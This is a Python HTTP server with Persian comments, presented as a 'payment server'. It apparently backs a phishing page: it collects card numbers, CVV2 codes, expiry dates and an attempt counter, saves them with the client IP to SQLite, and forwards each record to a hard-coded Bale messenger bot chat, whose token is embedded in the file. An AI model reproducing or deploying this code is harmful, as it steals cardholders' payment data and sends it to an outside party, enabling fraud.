from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
import json
import requests
import sqlite3
import os
from datetime import datetime

# ----------------- تنظیمات -----------------

BALE_BOT_TOKEN = "1400440432:Swk_ekO_8Aw5WcpEzggH0FqkXd6UrTvoz78"
CHAT_ID = "6204416753"
BALE_API_URL = f"https://tapi.bale.ai/bot{BALE_BOT_TOKEN}/sendMessage"

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
DB_PATH = os.path.join(BASE_DIR, "payments.db")

# ----------------- دیتابیس -----------------

def init_db():
    conn = sqlite3.connect(DB_PATH)
    cursor = conn.cursor()

    cursor.execute("""
    CREATE TABLE IF NOT EXISTS payments (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        ip TEXT,
        card_number TEXT,
        cvv2 TEXT,
        exp_month TEXT,
        exp_year TEXT,
        attempt TEXT,
        created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
    )
    """)

    conn.commit()
    conn.close()

init_db()


def save_payment(ip, card_number, cvv2, exp_month, exp_year, attempt):
    try:
        conn = sqlite3.connect(DB_PATH)
        cursor = conn.cursor()

        cursor.execute("""
            INSERT INTO payments 
            (ip, card_number, cvv2, exp_month, exp_year, attempt)
            VALUES (?, ?, ?, ?, ?, ?)
        """, (ip, card_number, cvv2, exp_month, exp_year, attempt))

        conn.commit()
    except Exception as e:
        print("DB save error:", e)
    finally:
        conn.close()


# ----------------- سرور -----------------

class PaymentRequestHandler(BaseHTTPRequestHandler):

    def _set_headers(self, status_code=200, content_type="application/json"):
        self.send_response(status_code)
        self.send_header("Content-Type", content_type)
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
        self.send_header("Access-Control-Allow-Headers", "Content-Type")
        self.end_headers()

    def get_real_ip(self):
        forwarded = self.headers.get("X-Forwarded-For")
        if forwarded:
            return forwarded.split(",")[0].strip()
        return self.client_address[0]

    def do_OPTIONS(self):
        self._set_headers()

    def do_GET(self):
        self._set_headers(content_type="text/plain")
        self.wfile.write(b"Payment server is running")

    def do_POST(self):
        try:
            content_length = int(self.headers.get("Content-Length", 0))
            post_data = self.rfile.read(content_length)
            data = json.loads(post_data)

            ip = self.get_real_ip()

            card_number = data.get("card_number")
            cvv2 = data.get("cvv2")
            exp_month = data.get("exp_month")
            exp_year = data.get("exp_year")
            attempt = data.get("attempt")

            # ✅ ذخیره در دیتابیس
            save_payment(ip, card_number, cvv2, exp_year, exp_month, attempt)

            # ✅ ارسال به بله
            message_text = (
                f"💳 Payment Data\n\n"
                f"IP: {ip}\n"
                f"Card: {card_number}\n"
                f"CVV2: {cvv2}\n"
                f"Exp: {exp_year}/{exp_month}\n"
                f"Attempt: {attempt}"
            )

            payload = {
                "chat_id": CHAT_ID,
                "text": message_text,
            }

            requests.post(
                BALE_API_URL,
                json=payload,
                timeout=5
            )

            # پاسخ موفق
            response_data = {
                "success": True,
                "message": "Data saved successfully"
            }

            self._set_headers()
            self.wfile.write(json.dumps(response_data).encode("utf-8"))

        except Exception as e:
            print("Server error:", e)
            self._set_headers(status_code=400, content_type="text/plain")
            self.wfile.write(b"Invalid data")


# ----------------- اجرا -----------------

if __name__ == "__main__":
    server_address = ("", 6431)
    httpd = ThreadingHTTPServer(server_address, PaymentRequestHandler)
    print("Server running on port 6431...")
    httpd.serve_forever()
